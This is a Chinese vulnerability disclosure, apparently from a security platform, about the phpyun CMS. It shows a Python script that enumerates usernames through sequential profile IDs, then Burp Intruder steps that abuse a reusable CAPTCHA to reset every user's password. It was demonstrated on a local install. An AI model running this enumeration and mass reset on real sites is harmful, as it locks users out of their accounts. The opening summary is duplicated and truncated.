### 简要描述: 不过重置成了什么我也不知道。 但如果有一天,一个网站所有用户密码全部被重置成随机字符了,所有遗失邮箱的用户就完全丢失自己的账号了。就算没有遗失邮箱,但莫名其妙地被重置密码了,谁会开心? ### 详细说明: 0x01. 访问链接friend/index.php?C=profile&id=1可以查看uid=1的用户的信息,其中就有用户名。 因为uid是数字,所以存在遍历的可能,我可以写一个脚本,把数据库中所有用户用户名遍历出来。 0x02. 访问index.php?M=forgetpw&sendpw,把获得的所有用户名一一POST到这里。其中需要验证验证码,但验证码因为没有删除SESSION,所以形同虚设。只要第一次输入一个即可。 0x03. POST完后就结束了。。。所有用户的密码都重置成随机字符串了。 ### 漏洞证明: 首先,我简单写了一个遍历phpyun网站中所有用户的脚本: ``` #!/usr/bin/python # -*- coding: utf-8 -*- __author__ = 'Phith0n' import requests, re headers = {'Cookie': 'PHPSESSID=de2a1aec530176b35502b300d006f1f2; uid=5; username=test3;' \ ' salt=cb6a81; email=asd%40as.com; shell=28a359ac7e1d8c9de109d427f055db50; usertype=1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0' } user = [] for i in range(10): url = 'http://localhost/phpyun/friend/index.php?C=profile&id=%d' % i resp = requests.get(url, headers = headers).content.decode('gbk').encode('utf-8') grp = re.search(r'<strong>(.+)の个人主页</strong>',...
### 简要描述: 不过重置成了什么我也不知道。 但如果有一天,一个网站所有用户密码全部被重置成随机字符了,所有遗失邮箱的用户就完全丢失自己的账号了。就算没有遗失邮箱,但莫名其妙地被重置密码了,谁会开心? ### 详细说明: 0x01. 访问链接friend/index.php?C=profile&id=1可以查看uid=1的用户的信息,其中就有用户名。 因为uid是数字,所以存在遍历的可能,我可以写一个脚本,把数据库中所有用户用户名遍历出来。 0x02. 访问index.php?M=forgetpw&sendpw,把获得的所有用户名一一POST到这里。其中需要验证验证码,但验证码因为没有删除SESSION,所以形同虚设。只要第一次输入一个即可。 0x03. POST完后就结束了。。。所有用户的密码都重置成随机字符串了。 ### 漏洞证明: 首先,我简单写了一个遍历phpyun网站中所有用户的脚本: ``` #!/usr/bin/python # -*- coding: utf-8 -*- __author__ = 'Phith0n' import requests, re headers = {'Cookie': 'PHPSESSID=de2a1aec530176b35502b300d006f1f2; uid=5; username=test3;' \ ' salt=cb6a81; email=asd%40as.com; shell=28a359ac7e1d8c9de109d427f055db50; usertype=1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0' } user = [] for i in range(10): url = 'http://localhost/phpyun/friend/index.php?C=profile&id=%d' % i resp = requests.get(url, headers = headers).content.decode('gbk').encode('utf-8') grp = re.search(r'<strong>(.+)の个人主页</strong>', resp) try: user.append(grp.group(1)) except: continue with open('user.txt', 'w') as fin: fin.write('\n'.join(user)) ``` 首先自己注册一个用户,然后把COOKIE复制到这个代码里。然后大概估计一下用户总数量,填到for循环里。 我为了演示,本地搭建了一个phpyun系统,注册了6个用户: [<img src="https://images.seebug.org/upload/201405/121802039154bf5c3bfd347847c27b6e628dbc70.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/121802039154bf5c3bfd347847c27b6e628dbc70.jpg) 然后运行脚本,获得了用户名列表: [<img src="https://images.seebug.org/upload/201405/1218034369d00308711f108da05a0d36b49da539.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1218034369d00308711f108da05a0d36b49da539.jpg) 然后来到找回密码页面,随便输入一个用户名,正确填写验证码,然后用burpsuite抓包: [<img src="https://images.seebug.org/upload/201405/12181213944bc3cb1cc7b2e56db82702287c5150.jpg" alt="09.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/12181213944bc3cb1cc7b2e56db82702287c5150.jpg) payloads就加载刚才生成好的那个文件: [<img src="https://images.seebug.org/upload/201405/121812596baf4fd13620865bbdc252ef2aefc554.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/121812596baf4fd13620865bbdc252ef2aefc554.jpg) 开始intruder,于是,很快就跑完了。看返回包,返回的信息是“新密码已经发送到您的邮箱”: [<img src="https://images.seebug.org/upload/201405/121813459a8dcea06ef20d00252c3257e8928d44.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/121813459a8dcea06ef20d00252c3257e8928d44.jpg) 于是,所有用户密码都变了,而且邮箱遗忘的用户,就永远登录不进来了…… 对比一下数据库,可以看到密码和salt全部变了。而且salt还比较有规律,因为salt的生成与时间有关,我提交的时间很接近,所以生成的salt第一位都相等: [<img src="https://images.seebug.org/upload/201405/1218152381510501578ef4524837c8cc6f4925c1.jpg" alt="12.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1218152381510501578ef4524837c8cc6f4925c1.jpg) 这是重置密码前的数据库: [<img src="https://images.seebug.org/upload/201405/121802039154bf5c3bfd347847c27b6e628dbc70.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/121802039154bf5c3bfd347847c27b6e628dbc70.jpg)